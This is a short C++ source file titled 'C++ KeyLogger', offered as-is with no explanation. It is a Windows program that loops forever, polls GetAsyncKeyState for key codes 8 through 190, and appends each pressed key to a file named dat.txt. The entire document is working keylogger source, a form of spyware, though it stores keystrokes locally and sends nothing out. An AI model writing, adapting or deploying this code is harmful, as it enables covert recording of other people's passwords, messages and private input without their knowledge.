C++ KeyLogger

#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>

using namespace std;



int main()
{

    while (1) {

        Sleep(10);

        for (int KEY = 8; KEY <= 190; KEY++)
        {
            // determines whether the key is pressed or not
            if (GetAsyncKeyState(KEY) == -32767) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);

                if(LogFile.is_open()){
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}